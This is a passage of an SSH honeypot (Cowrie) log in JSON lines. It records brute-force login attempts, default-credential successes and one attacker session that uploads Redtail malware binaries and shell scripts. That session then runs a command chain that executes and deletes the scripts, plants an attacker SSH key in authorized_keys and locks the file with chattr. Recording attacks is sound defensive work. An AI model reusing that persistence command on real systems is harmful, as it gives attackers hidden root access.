ijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:01:03.337846Z","src_ip":"59.126.246.101","session":"348f3570c305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:01:13.124481Z","src_ip":"59.126.246.101","session":"348f3570c305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:01:14.821914Z","src_ip":"59.126.246.101","session":"348f3570c305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.246.101","src_port":46504,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cde9dfe1b89","protocol":"ssh","message":"New connection: 59.126.246.101:46504 (10.17.0.5:22) [session: 7cde9dfe1b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:03:17.961816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:03:21.718710Z","src_ip":"59.126.246.101","session":"7cde9dfe1b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:03:21.722212Z","src_ip":"59.126.246.101","session":"7cde9dfe1b89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orangepi","password":"orangepi","message":"login attempt [orangepi/orangepi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:03:30.568293Z","src_ip":"59.126.246.101","session":"7cde9dfe1b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:03:31.883255Z","src_ip":"59.126.246.101","session":"7cde9dfe1b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":45084,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a44d2626331","protocol":"ssh","message":"New connection: 139.19.117.129:45084 (159.203.135.109:22) [session: 5a44d2626331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:04:58.743510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:04:58.747682Z","src_ip":"139.19.117.129","session":"5a44d2626331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:04:58.840086Z","src_ip":"139.19.117.129","session":"5a44d2626331","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyDdDzGKUTaIMbB3l+M2LgYScsUS3dPNUnOLpkkmulxnFBQSlogj0CgPpZy7fHLz5gXvCxIXSA6h+EXcJPrXyOIo15oipDO5tbCB4fUdCK6I9Sv8H8kPEzoQ13fmaG9Y8DiZltqwdHcmqjBwJtJ6+Gk7EL4IzgN2x1Zk2yIGNfJgPqMacy80rrsc7vbCIS011SZ2H6befkxc3ueJHVQS+tZu+Uo1W5vY404HJcfHWzSsUz2wYhgSp1hQJxBydDZPWtQEXoGprLpr3pSFkI3DFrJrRCGnIQBgHpOzT3ExzeqbhqiPrRqgYW8wvDSo8rzyZLFT2SLX4QbRJ6OhFh8CZV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:04:59.027400Z","src_ip":"139.19.117.129","session":"5a44d2626331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyDdDzGKUTaIMbB3l+M2LgYScsUS3dPNUnOLpkkmulxnFBQSlogj0CgPpZy7fHLz5gXvCxIXSA6h+EXcJPrXyOIo15oipDO5tbCB4fUdCK6I9Sv8H8kPEzoQ13fmaG9Y8DiZltqwdHcmqjBwJtJ6+Gk7EL4IzgN2x1Zk2yIGNfJgPqMacy80rrsc7vbCIS011SZ2H6befkxc3ueJHVQS+tZu+Uo1W5vY404HJcfHWzSsUz2wYhgSp1hQJxBydDZPWtQEXoGprLpr3pSFkI3DFrJrRCGnIQBgHpOzT3ExzeqbhqiPrRqgYW8wvDSo8rzyZLFT2SLX4QbRJ6OhFh8CZV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:04:59.031330Z","src_ip":"139.19.117.129","session":"5a44d2626331","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyDdDzGKUTaIMbB3l+M2LgYScsUS3dPNUnOLpkkmulxnFBQSlogj0CgPpZy7fHLz5gXvCxIXSA6h+EXcJPrXyOIo15oipDO5tbCB4fUdCK6I9Sv8H8kPEzoQ13fmaG9Y8DiZltqwdHcmqjBwJtJ6+Gk7EL4IzgN2x1Zk2yIGNfJgPqMacy80rrsc7vbCIS011SZ2H6befkxc3ueJHVQS+tZu+Uo1W5vY404HJcfHWzSsUz2wYhgSp1hQJxBydDZPWtQEXoGprLpr3pSFkI3DFrJrRCGnIQBgHpOzT3ExzeqbhqiPrRqgYW8wvDSo8rzyZLFT2SLX4QbRJ6OhFh8CZV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:04:59.126304Z","src_ip":"139.19.117.129","session":"5a44d2626331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyDdDzGKUTaIMbB3l+M2LgYScsUS3dPNUnOLpkkmulxnFBQSlogj0CgPpZy7fHLz5gXvCxIXSA6h+EXcJPrXyOIo15oipDO5tbCB4fUdCK6I9Sv8H8kPEzoQ13fmaG9Y8DiZltqwdHcmqjBwJtJ6+Gk7EL4IzgN2x1Zk2yIGNfJgPqMacy80rrsc7vbCIS011SZ2H6befkxc3ueJHVQS+tZu+Uo1W5vY404HJcfHWzSsUz2wYhgSp1hQJxBydDZPWtQEXoGprLpr3pSFkI3DFrJrRCGnIQBgHpOzT3ExzeqbhqiPrRqgYW8wvDSo8rzyZLFT2SLX4QbRJ6OhFh8CZV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:04:59.130044Z","src_ip":"139.19.117.129","session":"5a44d2626331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:05:08.743998Z","src_ip":"139.19.117.129","session":"5a44d2626331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.246.101","src_port":32934,"dst_ip":"10.17.0.5","dst_port":22,"session":"09b02002ce69","protocol":"ssh","message":"New connection: 59.126.246.101:32934 (10.17.0.5:22) [session: 09b02002ce69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:05:31.159948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:05:36.112341Z","src_ip":"59.126.246.101","session":"09b02002ce69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:05:36.116760Z","src_ip":"59.126.246.101","session":"09b02002ce69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:05:44.740093Z","src_ip":"59.126.246.101","session":"09b02002ce69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:05:46.440017Z","src_ip":"59.126.246.101","session":"09b02002ce69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":50940,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a2344f095d9","protocol":"ssh","message":"New connection: 130.12.180.51:50940 (10.17.0.5:22) [session: 6a2344f095d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:05:50.735442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:05:50.740011Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:05:50.821864Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:05:51.067461Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:06:08.345819Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","message":"CMD: chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:06:08.349882Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","size":83,"shasum":"4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:06:08.437516Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"clean.sh","outfile":"var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","shasum":"d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","message":"SFTP Uploaded file \"clean.sh\" to var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:06:08.521754Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm7","outfile":"var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","shasum":"3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","message":"SFTP Uploaded file \"redtail.arm7\" to var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:06:08.529502Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm8","outfile":"var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","shasum":"dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","message":"SFTP Uploaded file \"redtail.arm8\" to var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:06:08.537632Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.i686","outfile":"var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","shasum":"048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","message":"SFTP Uploaded file \"redtail.i686\" to var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:06:08.547590Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.x86_64","outfile":"var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","shasum":"59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","message":"SFTP Uploaded file \"redtail.x86_64\" to var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:06:08.557667Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"setup.sh","outfile":"var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","shasum":"783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","message":"SFTP Uploaded file \"setup.sh\" to var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:06:08.622913Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.0","message":"Connection lost after 18.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:06:08.709733Z","src_ip":"130.12.180.51","session":"6a2344f095d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.30.22","src_port":45360,"dst_ip":"10.17.0.5","dst_port":22,"session":"71c17a1e42cb","protocol":"ssh","message":"New connection: 159.203.30.22:45360 (10.17.0.5:22) [session: 71c17a1e42cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:07:34.867756Z"}
